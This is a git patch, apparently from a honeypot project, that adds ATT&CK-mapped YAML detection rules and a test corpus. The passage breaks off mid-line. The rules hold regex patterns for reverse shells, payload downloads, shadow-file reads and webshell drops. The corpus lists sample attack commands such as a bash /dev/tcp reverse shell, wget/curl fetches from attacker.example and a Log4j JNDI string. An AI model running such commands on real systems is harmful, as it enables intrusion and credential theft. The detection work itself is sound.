From b1fe1f940315f55ebc85696de8b0e160b38ca608 Mon Sep 17 00:00:00 2001 From: anti Date: Fri, 1 May 2026 09:16:38 -0400 Subject: [PATCH] feat(ttp): E.3.8 R0001-R0030 command cohort MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 30 YAMLs for the shell/command rule cohort per Appendix B (rules/ttp/). Splits into engine-active (R0007-R0029, regex on command_text / raw_url / user_agent) and lifter-bound (R0001-R0006, R0030 — the v0 RuleEngine cannot count auth attempts, do identity rollups, or parse fingerprint blobs; the BehavioralLifter / IdentityLifter / CredentialLifter consume them by rule_id at E.3.9 / E.3.13). test_command_rules.py asserts: - every R000N has a YAML that compiles - lifter-bound rules NEVER fire from the v0 engine (regression guard against a YAML drifting into a regex match.spec) - engine-active rules meet their Appendix-C precision target against the seed corpus (≥0.95 high-conf, ≥0.80 medium) Conftest fixes: precision_engine moved to module-scope so module- scope precomputed dispatch fixture (fired_by_label) can request it; _RULES_DIR path bumped from parents[2] to parents[3] so the loader resolves the project root regardless of pytest cwd; make_event synthesizes attacker_uuid so TTPTag's anchor invariant is satisfied. Seed corpus broadened: positive examples for every regex rule plus 6 negative examples across innocuous shell verbs (ls, echo, cd, ps, df, free) so FPs surface in precision rather than passing vacuously. --- rules/ttp/R0001.yaml | 20 +++ rules/ttp/R0002.yaml | 20 +++ rules/ttp/R0003.yaml | 19 +++ rules/ttp/R0004.yaml | 18 +++ rules/ttp/R0005.yaml | 18 +++ rules/ttp/R0006.yaml | 25 +++ rules/ttp/R0007.yaml | 24 +++ rules/ttp/R0008.yaml | 18 +++ rules/ttp/R0009.yaml | 17 ++ rules/ttp/R0010.yaml | 19 +++ rules/ttp/R0011.yaml | 18 +++ rules/ttp/R0012.yaml | 17 ++ rules/ttp/R0013.yaml | 17 ++ rules/ttp/R0014.yaml | 18 +++ rules/ttp/R0015.yaml | 22 +++ rules/ttp/R0016.yaml | 18 +++ rules/ttp/R0017.yaml | 20 +++ rules/ttp/R0018.yaml | 17 ++ rules/ttp/R0019.yaml | 18 +++ rules/ttp/R0020.yaml | 17 ++ rules/ttp/R0021.yaml | 16 ++ rules/ttp/R0022.yaml | 21 +++ rules/ttp/R0023.yaml | 16 ++ rules/ttp/R0024.yaml | 18 +++ rules/ttp/R0025.yaml | 18 +++ rules/ttp/R0026.yaml | 20 +++ rules/ttp/R0027.yaml | 19 +++ rules/ttp/R0028.yaml | 18 +++ rules/ttp/R0029.yaml | 18 +++ rules/ttp/R0030.yaml | 27 ++++ tests/ttp/rule_precision/conftest.py | 16 +- .../rule_precision/corpus/seed_commands.jsonl | 41 +++-- .../ttp/rule_precision/test_command_rules.py | 145 ++++++++++++++++++ 33 files changed, 758 insertions(+), 15 deletions(-) create mode 100644 rules/ttp/R0001.yaml create mode 100644 rules/ttp/R0002.yaml create mode 100644 rules/ttp/R0003.yaml create mode 100644 rules/ttp/R0004.yaml create mode 100644 rules/ttp/R0005.yaml create mode 100644 rules/ttp/R0006.yaml create mode 100644 rules/ttp/R0007.yaml create mode 100644 rules/ttp/R0008.yaml create mode 100644 rules/ttp/R0009.yaml create mode 100644 rules/ttp/R0010.yaml create mode 100644 rules/ttp/R0011.yaml create mode 100644 rules/ttp/R0012.yaml create mode 100644 rules/ttp/R0013.yaml create mode 100644 rules/ttp/R0014.yaml create mode 100644 rules/ttp/R0015.yaml create mode 100644 rules/ttp/R0016.yaml create mode 100644 rules/ttp/R0017.yaml create mode 100644 rules/ttp/R0018.yaml create mode 100644 rules/ttp/R0019.yaml create mode 100644 rules/ttp/R0020.yaml create mode 100644 rules/ttp/R0021.yaml create mode 100644 rules/ttp/R0022.yaml create mode 100644 rules/ttp/R0023.yaml create mode 100644 rules/ttp/R0024.yaml create mode 100644 rules/ttp/R0025.yaml create mode 100644 rules/ttp/R0026.yaml create mode 100644 rules/ttp/R0027.yaml create mode 100644 rules/ttp/R0028.yaml create mode 100644 rules/ttp/R0029.yaml create mode 100644 rules/ttp/R0030.yaml create mode 100644 tests/ttp/rule_precision/test_command_rules.py diff --git a/rules/ttp/R0001.yaml b/rules/ttp/R0001.yaml new file mode 100644 index 00000000..f79fd2a5 --- /dev/null +++ b/rules/ttp/R0001.yaml @@ -0,0 +1,20 @@ +rule_id: R0001 +rule_version: 1 +name: generic_auth_brute +description: | + Repeated failed auth across services/accounts. Cross-event; + emitted by the BehavioralLifter (E.3.9) — v0 RuleEngine cannot + count. +applies_to: + - auth_attempt +match: + kind: lifter:auth_brute_generic + fail_threshold: 5 + window_minutes: 5 +emits: + - tactic: TA0006 + technique_id: T1110 + confidence: 0.85 +evidence_fields: + - fail_count + - service diff --git a/rules/ttp/R0002.yaml b/rules/ttp/R0002.yaml new file mode 100644 index 00000000..ae42f9e7 --- /dev/null +++ b/rules/ttp/R0002.yaml @@ -0,0 +1,20 @@ +rule_id: R0002 +rule_version: 1 +name: password_guessing +description: | + Multiple passwords tried against a single account in a window. + Cross-event; BehavioralLifter (E.3.9). +applies_to: + - auth_attempt +match: + kind: lifter:password_guessing + pw_threshold: 5 + window_minutes: 5 +emits: + - tactic: TA0006 + technique_id: T1110 + sub_technique_id: T1110.001 + confidence: 0.85 +evidence_fields: + - username + - password_count diff --git a/rules/ttp/R0003.yaml b/rules/ttp/R0003.yaml new file mode 100644 index 00000000..608c410d --- /dev/null +++ b/rules/ttp/R0003.yaml @@ -0,0 +1,19 @@ +rule_id: R0003 +rule_version: 1 +name: password_spraying +description: | + Same password tried across many accounts (identity-rollup). + IdentityLifter (E.3.13). +applies_to: + - identity +match: + kind: lifter:password_spraying + account_threshold: 3 +emits: + - tactic: TA0006 + technique_id: T1110 + sub_technique_id: T1110.003 + confidence: 0.9 +evidence_fields: + - shared_password_hash + - account_count diff --git a/rules/ttp/R0004.yaml b/rules/ttp/R0004.yaml new file mode 100644 index 00000000..6b8b6727 --- /dev/null +++ b/rules/ttp/R0004.yaml @@ -0,0 +1,18 @@ +rule_id: R0004 +rule_version: 1 +name: credential_stuffing +description: | + Reused credential signal — CredentialLifter (E.3.13) consumes + CredentialReuse rows. +applies_to: + - credential +match: + kind: lifter:credential_reuse +emits: + - tactic: TA0006 + technique_id: T1110 + sub_technique_id: T1110.004 + confidence: 0.9 +evidence_fields: + - credential_hash + - reuse_count diff --git a/rules/ttp/R0005.yaml b/rules/ttp/R0005.yaml new file mode 100644 index 00000000..d8a34a60 --- /dev/null +++ b/rules/ttp/R0005.yaml @@ -0,0 +1,18 @@ +rule_id: R0005 +rule_version: 1 +name: valid_account_use +description: | + Successful authentication on a previously-brute-forced account. + BehavioralLifter (E.3.9). +applies_to: + - auth_attempt +match: + kind: lifter:valid_account_use + require_prior_brute: true +emits: + - tactic: TA0001 + technique_id: T1078 + confidence: 0.7 +evidence_fields: + - username + - service diff --git a/rules/ttp/R0006.yaml b/rules/ttp/R0006.yaml new file mode 100644 index 00000000..72984f95 --- /dev/null +++ b/rules/ttp/R0006.yaml @@ -0,0 +1,25 @@ +rule_id: R0006 +rule_version: 1 +name: default_credentials +description: | + Login attempt with a known default credential pair (root/root, + admin/admin, etc.). BehavioralLifter (E.3.9) reads credentials + table. +applies_to: + - auth_attempt +match: + kind: lifter:default_credentials + pairs: + - [root, root] + - [admin, admin] + - [admin, password] + - [root, ""] + - [pi, raspberry] +emits: + - tactic: TA0001 + technique_id: T1078 + sub_technique_id: T1078.001 + confidence: 0.9 +evidence_fields: + - username + - service diff --git a/rules/ttp/R0007.yaml b/rules/ttp/R0007.yaml new file mode 100644 index 00000000..bb1078fb --- /dev/null +++ b/rules/ttp/R0007.yaml @@ -0,0 +1,24 @@ +rule_id: R0007 +rule_version: 1 +name: sqlmap_user_agent +description: | + sqlmap's default User-Agent header. Triggers on the raw URL + payload because the v0 engine's http_request default field is + raw_url; we override to user_agent. Same matcher catches nikto, + nmap-scripts, and other auto-tooling that brands itself in UA. +applies_to: + - http_request +match: + field: user_agent + pattern: '(?i)\b(sqlmap|nikto|w3af|acunetix|nessus|openvas|wpscan|dirbuster)\b' +emits: + - tactic: TA0001 + technique_id: T1190 + confidence: 0.9 + - tactic: TA0043 + technique_id: T1595 + sub_technique_id: T1595.002 + confidence: 0.9 +evidence_fields: + - user_agent + - raw_url diff --git a/rules/ttp/R0008.yaml b/rules/ttp/R0008.yaml new file mode 100644 index 00000000..d67b8e4d --- /dev/null +++ b/rules/ttp/R0008.yaml @@ -0,0 +1,18 @@ +rule_id: R0008 +rule_version: 1 +name: log4j_jndi +description: | + Log4j JNDI injection — ${jndi:ldap://...} pattern in any header + or URL component. +applies_to: + - http_request +match: + field: raw_url + pattern: '\$\{(?:jndi|\${[^}]*}):(?:ldap|ldaps|rmi|dns|http)s?://' +emits: + - tactic: TA0001 + technique_id: T1190 + confidence: 0.95 +evidence_fields: + - raw_url + - headers diff --git a/rules/ttp/R0009.yaml b/rules/ttp/R0009.yaml new file mode 100644 index 00000000..d6176dc3 --- /dev/null +++ b/rules/ttp/R0009.yaml @@ -0,0 +1,17 @@ +rule_id: R0009 +rule_version: 1 +name: path_traversal +description: | + Classic ../ traversal in URL path or query. Catches both raw and + URL-encoded forms (%2e%2e/, %2E%2E%2F). +applies_to: + - http_request +match: + field: raw_url + pattern: '(?i)(?:\.\./|%2e%2e/|\.\.%2f|%2e%2e%2f){2,}' +emits: + - tactic: TA0001 + technique_id: T1190 + confidence: 0.85 +evidence_fields: + - raw_url diff --git a/rules/ttp/R0010.yaml b/rules/ttp/R0010.yaml new file mode 100644 index 00000000..a346e644 --- /dev/null +++ b/rules/ttp/R0010.yaml @@ -0,0 +1,19 @@ +rule_id: R0010 +rule_version: 1 +name: unix_shell_exec +description: | + Reverse shell or shell-execution patterns: bash -i, /dev/tcp/, + nc -e, sh -c with exec primitives. Tight enough to skip plain + scripts; the broader T1059 catch is R0011. +applies_to: + - command +match: + field: command_text + pattern: '(?i)(?:bash\s+-i|/dev/tcp/|/dev/udp/|nc\s+-e\s|/bin/sh\s+-c\b|/bin/bash\s+-c\b)' +emits: + - tactic: TA0002 + technique_id: T1059 + sub_technique_id: T1059.004 + confidence: 0.9 +evidence_fields: + - command_text diff --git a/rules/ttp/R0011.yaml b/rules/ttp/R0011.yaml new file mode 100644 index 00000000..7b73c337 --- /dev/null +++ b/rules/ttp/R0011.yaml @@ -0,0 +1,18 @@ +rule_id: R0011 +rule_version: 1 +name: scripting_interpreter_exec +description: | + Generic command-and-scripting-interpreter signal — python -c, + perl -e, ruby -e, node -e, bash -c, php -r. Sub-technique-less + T1059 catch-all that complements R0010 (Unix-specific). +applies_to: + - command +match: + field: command_text + pattern: '(?i)\b(python[23]?|perl|ruby|node|php)\s+-[ce]\b|/bin/bash\s+-c\b|/bin/sh\s+-c\b' +emits: + - tactic: TA0002 + technique_id: T1059 + confidence: 0.7 +evidence_fields: + - command_text diff --git a/rules/ttp/R0012.yaml b/rules/ttp/R0012.yaml new file mode 100644 index 00000000..95235a80 --- /dev/null +++ b/rules/ttp/R0012.yaml @@ -0,0 +1,17 @@ +rule_id: R0012 +rule_version: 1 +name: ingress_tool_transfer +description: | + wget/curl/tftp/scp pulling a payload from a remote URL. Anchors + on the verb-then-URL shape; bare 'curl' alone won't fire. +applies_to: + - command +match: + field: command_text + pattern: '(?i)\b(wget|curl|tftp|scp|ftpget)\s+(?:-\S+\s+)*(?:[^|;\s]+\s+)*https?://|\b(wget|curl)\s+-O\s' +emits: + - tactic: TA0011 + technique_id: T1105 + confidence: 0.85 +evidence_fields: + - command_text diff --git a/rules/ttp/R0013.yaml b/rules/ttp/R0013.yaml new file mode 100644 index 00000000..3493160d --- /dev/null +++ b/rules/ttp/R0013.yaml @@ -0,0 +1,17 @@ +rule_id: R0013 +rule_version: 1 +name: etc_passwd_read +description: | + cat / less / more / head / tail of /etc/passwd — classic + post-foothold discovery primitive. +applies_to: + - command +match: + field: command_text + pattern: '\b(cat|less|more|head|tail|nl|grep)\s+(?:[^|;]*\s)?/etc/passwd\b' +emits: + - tactic: TA0007 + technique_id: T1083 + confidence: 0.85 +evidence_fields: + - command_text diff --git a/rules/ttp/R0014.yaml b/rules/ttp/R0014.yaml new file mode 100644 index 00000000..956efb60 --- /dev/null +++ b/rules/ttp/R0014.yaml @@ -0,0 +1,18 @@ +rule_id: R0014 +rule_version: 1 +name: etc_shadow_read +description: | + Read of /etc/shadow — credential-dumping primitive, requires + root, much higher signal than passwd. +applies_to: + - command +match: + field: command_text + pattern: '\b(cat|less|more|head|tail|nl|grep|sudo\s+cat)\s+(?:[^|;]*\s)?/etc/shadow\b' +emits: + - tactic: TA0006 + technique_id: T1003 + sub_technique_id: T1003.008 + confidence: 0.95 +evidence_fields: + - command_text diff --git a/rules/ttp/R0015.yaml b/rules/ttp/R0015.yaml new file mode 100644 index 00000000..b210dfb5 --- /dev/null +++ b/rules/ttp/R0015.yaml @@ -0,0 +1,22 @@ +rule_id: R0015 +rule_version: 1 +name: suid_search +description: | + find with -perm -u=s / -4000 / /4000 — explicit SUID-binary + hunting for privilege escalation. Two emits: discovery (T1083) + and the priv-esc abuse precursor (T1548.001). +applies_to: + - command +match: + field: command_text + pattern: '\bfind\b.*-perm\s+(?:-?u\+?=s|-?4000|/4000|-?2000)' +emits: + - tactic: TA0007 + technique_id: T1083 + confidence: 0.85 + - tactic: TA0004 + technique_id: T1548 + sub_technique_id: T1548.001 + confidence: 0.95 +evidence_fields: + - command_text diff --git a/rules/ttp/R0016.yaml b/rules/ttp/R0016.yaml new file mode 100644 index 00000000..23802e01 --- /dev/null +++ b/rules/ttp/R0016.yaml @@ -0,0 +1,18 @@ +rule_id: R0016 +rule_version: 1 +name: recursive_find +description: | + Generic recursive find rooted at /, /home, /etc, /var, /opt, + /root, /tmp — broad file/directory discovery. Lower confidence + than R0015 because non-malicious admin sweeps look the same. +applies_to: + - command +match: + field: command_text + pattern: '\bfind\s+/(?:home|etc|var|opt|root|tmp|usr)?(?=\s|/|$)' +emits: + - tactic: TA0007 + technique_id: T1083 + confidence: 0.65 +evidence_fields: + - command_text diff --git a/rules/ttp/R0017.yaml b/rules/ttp/R0017.yaml new file mode 100644 index 00000000..2ecc1654 --- /dev/null +++ b/rules/ttp/R0017.yaml @@ -0,0 +1,20 @@ +rule_id: R0017 +rule_version: 1 +name: network_service_scan +description: | + Scanner invocation: nmap, masscan, zmap, rustscan, unicornscan, + hping3 in scan mode, or nc -zv sweeps. +applies_to: + - command +match: + field: command_text + pattern: '(?i)\b(nmap|masscan|zmap|rustscan|unicornscan|hping3)\b|\bnc\s+(?:-\w*z\w*|-zv|-vz)\b' +emits: + - tactic: TA0007 + technique_id: T1046 + confidence: 0.9 + - tactic: TA0043 + technique_id: T1595 + confidence: 0.9 +evidence_fields: + - command_text diff --git a/rules/ttp/R0018.yaml b/rules/ttp/R0018.yaml new file mode 100644 index 00000000..dfe82f85 --- /dev/null +++ b/rules/ttp/R0018.yaml @@ -0,0 +1,17 @@ +rule_id: R0018 +rule_version: 1 +name: system_info_discovery +description: | + uname / lsb_release / hostnamectl / cat /etc/os-release — + classic system-information gathering. +applies_to: + - command +match: + field: command_text + pattern: '\b(?:uname\s+-\w+|lsb_release(?:\s|$)|hostnamectl(?:\s|$))\b|cat\s+/etc/(?:os-release|issue|debian_version|redhat-release)\b' +emits: + - tactic: TA0007 + technique_id: T1082 + confidence: 0.7 +evidence_fields: + - command_text diff --git a/rules/ttp/R0019.yaml b/rules/ttp/R0019.yaml new file mode 100644 index 00000000..4083a7c9 --- /dev/null +++ b/rules/ttp/R0019.yaml @@ -0,0 +1,18 @@ +rule_id: R0019 +rule_version: 1 +name: user_discovery +description: | + whoami / id / w / who / last / users — current-user / logged-in + user enumeration. Word-boundary anchored at start so a substring + inside a longer command doesn't trip. +applies_to: + - command +match: + field: command_text + pattern: '^(?:\s*sudo\s+)?(?:whoami|id|w|who|users|last)(?:\s|$)' +emits: + - tactic: TA0007 + technique_id: T1033 + confidence: 0.7 +evidence_fields: + - command_text diff --git a/rules/ttp/R0020.yaml b/rules/ttp/R0020.yaml new file mode 100644 index 00000000..f1149b2b --- /dev/null +++ b/rules/ttp/R0020.yaml @@ -0,0 +1,17 @@ +rule_id: R0020 +rule_version: 1 +name: network_config_discovery +description: | + ip addr / ifconfig / route / arp / iwconfig — network-interface + enumeration. +applies_to: + - command +match: + field: command_text + pattern: '\b(?:ip\s+(?:a|addr|link|route|-c\s+addr)|ifconfig(?:\s+-\w+)?|route\s+-\w+|arp\s+-\w+|iwconfig)\b' +emits: + - tactic: TA0007 + technique_id: T1016 + confidence: 0.75 +evidence_fields: + - command_text diff --git a/rules/ttp/R0021.yaml b/rules/ttp/R0021.yaml new file mode 100644 index 00000000..df243e8c --- /dev/null +++ b/rules/ttp/R0021.yaml @@ -0,0 +1,16 @@ +rule_id: R0021 +rule_version: 1 +name: network_connections_discovery +description: | + netstat / ss / lsof -i — active connection enumeration. +applies_to: + - command +match: + field: command_text + pattern: '\b(?:netstat\s+-\w+|ss\s+-\w+|lsof\s+-i\b)' +emits: + - tactic: TA0007 + technique_id: T1049 + confidence: 0.75 +evidence_fields: + - command_text diff --git a/rules/ttp/R0022.yaml b/rules/ttp/R0022.yaml new file mode 100644 index 00000000..65d208b5 --- /dev/null +++ b/rules/ttp/R0022.yaml @@ -0,0 +1,21 @@ +rule_id: R0022 +rule_version: 1 +name: ldap_account_discovery +description: | + ldapsearch / BloodHound CLI / ADExplorer — LDAP-based account + and trust enumeration. +applies_to: + - command +match: + field: command_text + pattern: '(?i)\b(?:ldapsearch|bloodhound-?python|sharphound|adexplorer)\b' +emits: + - tactic: TA0007 + technique_id: T1087 + sub_technique_id: T1087.002 + confidence: 0.9 + - tactic: TA0007 + technique_id: T1482 + confidence: 0.85 +evidence_fields: + - command_text diff --git a/rules/ttp/R0023.yaml b/rules/ttp/R0023.yaml new file mode 100644 index 00000000..53ea289d --- /dev/null +++ b/rules/ttp/R0023.yaml @@ -0,0 +1,16 @@ +rule_id: R0023 +rule_version: 1 +name: smb_share_discovery +description: | + smbclient -L / enum4linux / nbtscan / rpcclient share-listing. +applies_to: + - command +match: + field: command_text + pattern: '(?i)\bsmbclient\s+-L\b|\benum4linux\b|\bnbtscan\b|\brpcclient\b.*\b(?:enumdomusers|netshareenum|querydispinfo)\b' +emits: + - tactic: TA0007 + technique_id: T1135 + confidence: 0.9 +evidence_fields: + - command_text diff --git a/rules/ttp/R0024.yaml b/rules/ttp/R0024.yaml new file mode 100644 index 00000000..2e1623f7 --- /dev/null +++ b/rules/ttp/R0024.yaml @@ -0,0 +1,18 @@ +rule_id: R0024 +rule_version: 1 +name: local_account_creation +description: | + useradd / adduser / direct write to /etc/passwd creating a new + local account — persistence primitive. +applies_to: + - command +match: + field: command_text + pattern: '\b(?:useradd|adduser)\s+(?:-\S+\s+)*\w+|echo\s+[^\n]*>>\s*/etc/passwd\b' +emits: + - tactic: TA0003 + technique_id: T1136 + sub_technique_id: T1136.001 + confidence: 0.95 +evidence_fields: + - command_text diff --git a/rules/ttp/R0025.yaml b/rules/ttp/R0025.yaml new file mode 100644 index 00000000..e5b214a5 --- /dev/null +++ b/rules/ttp/R0025.yaml @@ -0,0 +1,18 @@ +rule_id: R0025 +rule_version: 1 +name: cron_persistence +description: | + Cron-based persistence: crontab -e, writes to /etc/cron.* or + /var/spool/cron/. +applies_to: + - command +match: + field: command_text + pattern: '\bcrontab\s+-e\b|>>?\s*/etc/cron\.\w+/|>>?\s*/var/spool/cron/' +emits: + - tactic: TA0003 + technique_id: T1053 + sub_technique_id: T1053.003 + confidence: 0.9 +evidence_fields: + - command_text diff --git a/rules/ttp/R0026.yaml b/rules/ttp/R0026.yaml new file mode 100644 index 00000000..639851d7 --- /dev/null +++ b/rules/ttp/R0026.yaml @@ -0,0 +1,20 @@ +rule_id: R0026 +rule_version: 1 +name: redis_ssh_key_persistence +description: | + redis-cli / nc abuse setting CONFIG dir to /root/.ssh + + writing an authorized_keys SET. Per-command match; the lifter + composes them across a session, but either single command in + isolation still scores the technique. +applies_to: + - command +match: + field: command_text + pattern: '(?i)\bredis(?:-cli)?\b.*\b(?:config\s+set\s+dir|set\s+\S+\s+["'']?ssh-(?:rsa|ed25519|dss))\b' +emits: + - tactic: TA0003 + technique_id: T1098 + sub_technique_id: T1098.004 + confidence: 0.9 +evidence_fields: + - command_text diff --git a/rules/ttp/R0027.yaml b/rules/ttp/R0027.yaml new file mode 100644 index 00000000..60de0c22 --- /dev/null +++ b/rules/ttp/R0027.yaml @@ -0,0 +1,19 @@ +rule_id: R0027 +rule_version: 1 +name: webshell_install +description: | + Drop a PHP/JSP/ASPX webshell into a webroot via shell redirect + or wget/curl-to-file. Conservative — we want the shell pattern + AND a webroot path, not just any echo > x.php. +applies_to: + - command +match: + field: command_text + pattern: '(?:echo|printf|cat\s*<<\w+|wget\s+-O|curl\s+-o)\s+[^\n;|]*(?:<\?php|<%@|system\(|eval\(|exec\()[^\n;|]*>\s*[^\n;|]*\.(?:php|jsp|aspx|jspx|phtml)\b|>\s*/var/www/[^\s;|]+\.(?:php|jsp|aspx|jspx)\b' +emits: + - tactic: TA0003 + technique_id: T1505 + sub_technique_id: T1505.003 + confidence: 0.9 +evidence_fields: + - command_text diff --git a/rules/ttp/R0028.yaml b/rules/ttp/R0028.yaml new file mode 100644 index 00000000..3f7ff4fa --- /dev/null +++ b/rules/ttp/R0028.yaml @@ -0,0 +1,18 @@ +rule_id: R0028 +rule_version: 1 +name: clear_command_history +description: | + history -c / -cw, unset HISTFILE, redirect /dev/null over + ~/.bash_history. +applies_to: + - command +match: + field: command_text + pattern: '(?i)\bhistory\s+-c\w*\b|\bunset\s+HISTFILE\b|>\s*~?/?\.bash_history\b|export\s+HISTFILE=/dev/null' +emits: + - tactic: TA0005 + technique_id: T1070 + sub_technique_id: T1070.003 + confidence: 0.9 +evidence_fields: + - command_text diff --git a/rules/ttp/R0029.yaml b/rules/ttp/R0029.yaml new file mode 100644 index 00000000..6b3ccdb0 --- /dev/null +++ b/rules/ttp/R0029.yaml @@ -0,0 +1,18 @@ +rule_id: R0029 +rule_version: 1 +name: sudo_abuse +description: | + sudo -l (enumerate available privileged commands) or + sudo su / sudo -i / sudo -s for an interactive privilege escalation. +applies_to: + - command +match: + field: command_text + pattern: '^(?:\s*)sudo\s+(?:-l\b|-i\b|-s\b|su\b)' +emits: + - tactic: TA0004 + technique_id: T1548 + sub_technique_id: T1548.003 + confidence: 0.75 +evidence_fields: + - command_text diff --git a/rules/ttp/R0030.yaml b/rules/ttp/R0030.yaml new file mode 100644 index 00000000..a094017e --- /dev/null +++ b/rules/ttp/R0030.yaml @@ -0,0 +1,27 @@ +rule_id: R0030 +rule_version: 1 +name: jarm_hassh_c2_fingerprint +description: | + JARM/HASSH fingerprint match against the known-C2 catalogue. + Sniffer-side; populated as an enrichment, then the lifter + emits this rule's tag. v0 RuleEngine cannot interpret the + fingerprint blob. +applies_to: + - session +match: + kind: lifter:c2_fingerprint + catalogues: + - jarm + - hassh +emits: + - tactic: TA0011 + technique_id: T1071 + confidence: 0.85 + - tactic: TA0011 + technique_id: T1071 + sub_technique_id: T1071.001 + confidence: 0.9 +evidence_fields: + - jarm + - hassh + - matched_framework diff --git a/tests/ttp/rule_precision/conftest.py b/tests/ttp/rule_precision/conftest.py index 360c7202..c9e86ab2 100644 --- a/tests/ttp/rule_precision/conftest.py +++ b/tests/ttp/rule_precision/conftest.py @@ -32,7 +32,7 @@ from decnet.ttp.impl.rule_engine import CompiledRule, RuleEngine from decnet.ttp.store.base import RuleState from decnet.ttp.store.impl.filesystem import _parse_and_compile -_RULES_DIR = Path(__file__).resolve().parents[2] / "rules" / "ttp" +_RULES_DIR = Path(__file__).resolve().parents[3] / "rules" / "ttp" _CORPUS_DIR = Path(__file__).resolve().parent / "corpus" @@ -102,7 +102,7 @@ def compiled_rules() -> list[CompiledRule]: return _load_compiled_rules() -@pytest_asyncio.fixture +@pytest_asyncio.fixture(scope="module") async def precision_engine( compiled_rules: list[CompiledRule], ) -> RuleEngine: @@ -167,11 +167,19 @@ def corpus_loader() -> Callable[[str], list[CorpusRow]]: def make_event(row: CorpusRow, source_id: str = "src") -> TaggerEvent: - """Materialise a :class:`CorpusRow` into a :class:`TaggerEvent`.""" + """Materialise a :class:`CorpusRow` into a :class:`TaggerEvent`. + + Sets a deterministic ``attacker_uuid`` derived from the row label so + the downstream ``TTPTag`` constructor's "at least one of + attacker_uuid/identity_uuid" invariant is satisfied. The corpus + rows themselves don't carry attacker identity — they're per-payload + fixtures, not per-attacker — so this synthesis is purely a test + plumbing concern. + """ return TaggerEvent( source_kind=row.source_kind, source_id=source_id, - attacker_uuid=None, + attacker_uuid=f"corpus-{row.label}", identity_uuid=None, session_id=None, decky_id=None, diff --git a/tests/ttp/rule_precision/corpus/seed_commands.jsonl b/tests/ttp/rule_precision/corpus/seed_commands.jsonl index 163b2be2..14f86c5a 100644 --- a/tests/ttp/rule_precision/corpus/seed_commands.jsonl +++ b/tests/ttp/rule_precision/corpus/seed_commands.jsonl @@ -1,41 +1,60 @@ -{"source_kind": "command", "payload": {"command_text": "hydra -L users.txt -P pass.txt ssh://10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "hydra_ssh_brute"} -{"source_kind": "command", "payload": {"command_text": "medusa -h 10.0.0.1 -u root -P passlist -M ssh"}, "expected_rule_ids": ["R0001"], "label": "medusa_ssh_brute"} -{"source_kind": "command", "payload": {"command_text": "ncrack -p 22 --user root -P rockyou.txt 10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "ncrack_ssh"} -{"source_kind": "command", "payload": {"command_text": "sqlmap -u http://victim/x?id=1 --dbs"}, "expected_rule_ids": ["R0007"], "label": "sqlmap_invocation"} -{"source_kind": "command", "payload": {"command_text": "curl -H 'X-Api-Version: ${jndi:ldap://x.evil/a}' http://target"}, "expected_rule_ids": ["R0008", "R0012"], "label": "log4j_jndi_curl"} -{"source_kind": "command", "payload": {"command_text": "curl http://target/page?file=../../../../etc/passwd"}, "expected_rule_ids": ["R0009", "R0013", "R0012"], "label": "path_traversal_passwd"} -{"source_kind": "command", "payload": {"command_text": "/bin/sh -c 'id'"}, "expected_rule_ids": ["R0010", "R0011", "R0019"], "label": "sh_dash_c_id"} -{"source_kind": "command", "payload": {"command_text": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"}, "expected_rule_ids": ["R0010", "R0011"], "label": "bash_revshell_devtcp"} +{"source_kind": "auth_attempt", "payload": {"username": "root", "service": "ssh", "result": "fail", "tool": "hydra"}, "expected_rule_ids": ["R0001"], "label": "hydra_ssh_brute"} +{"source_kind": "auth_attempt", "payload": {"username": "root", "service": "ssh", "result": "fail", "tool": "medusa"}, "expected_rule_ids": ["R0001"], "label": "medusa_ssh_brute"} +{"source_kind": "auth_attempt", "payload": {"username": "root", "service": "ssh", "result": "fail", "tool": "ncrack"}, "expected_rule_ids": ["R0001"], "label": "ncrack_ssh"} +{"source_kind": "http_request", "payload": {"raw_url": "/index.php?id=1", "user_agent": "sqlmap/1.7.0#stable (https://sqlmap.org)"}, "expected_rule_ids": ["R0007"], "label": "sqlmap_user_agent"} +{"source_kind": "http_request", "payload": {"raw_url": "/", "user_agent": "Mozilla/5.0 nikto/2.5.0"}, "expected_rule_ids": ["R0007"], "label": "nikto_user_agent"} +{"source_kind": "http_request", "payload": {"raw_url": "/api?x=${jndi:ldap://evil.example/a}", "user_agent": "curl/7.x"}, "expected_rule_ids": ["R0008"], "label": "log4j_jndi_in_url"} +{"source_kind": "http_request", "payload": {"raw_url": "/page?file=../../../../etc/passwd", "user_agent": "curl/7.x"}, "expected_rule_ids": ["R0009"], "label": "http_path_traversal"} +{"source_kind": "http_request", "payload": {"raw_url": "/", "user_agent": "Mozilla/5.0"}, "expected_rule_ids": [], "label": "negative_http_normal"} +{"source_kind": "command", "payload": {"command_text": "/bin/sh -c 'id'"}, "expected_rule_ids": ["R0010", "R0011"], "label": "sh_dash_c_id"} +{"source_kind": "command", "payload": {"command_text": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"}, "expected_rule_ids": ["R0010"], "label": "bash_revshell_devtcp"} {"source_kind": "command", "payload": {"command_text": "python3 -c 'import os; os.system(\"id\")'"}, "expected_rule_ids": ["R0011"], "label": "python_oneliner"} -{"source_kind": "command", "payload": {"command_text": "wget http://attacker/payload.sh -O /tmp/p.sh"}, "expected_rule_ids": ["R0012"], "label": "wget_http_payload"} -{"source_kind": "command", "payload": {"command_text": "curl -O http://attacker/loader.bin"}, "expected_rule_ids": ["R0012"], "label": "curl_http_loader"} +{"source_kind": "command", "payload": {"command_text": "wget http://attacker.example/payload.sh -O /tmp/p.sh"}, "expected_rule_ids": ["R0012"], "label": "wget_http_payload"} +{"source_kind": "command", "payload": {"command_text": "curl -O http://attacker.example/loader.bin"}, "expected_rule_ids": ["R0012"], "label": "curl_http_loader"} {"source_kind": "command", "payload": {"command_text": "cat /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "cat_etc_passwd"} {"source_kind": "command", "payload": {"command_text": "less /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "less_etc_passwd"} +{"source_kind": "command", "payload": {"command_text": "head /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "head_etc_passwd"} {"source_kind": "command", "payload": {"command_text": "cat /etc/shadow"}, "expected_rule_ids": ["R0014"], "label": "cat_etc_shadow"} +{"source_kind": "command", "payload": {"command_text": "sudo cat /etc/shadow"}, "expected_rule_ids": ["R0014"], "label": "sudo_cat_etc_shadow"} {"source_kind": "command", "payload": {"command_text": "find / -perm -u=s -type f 2>/dev/null"}, "expected_rule_ids": ["R0015", "R0016"], "label": 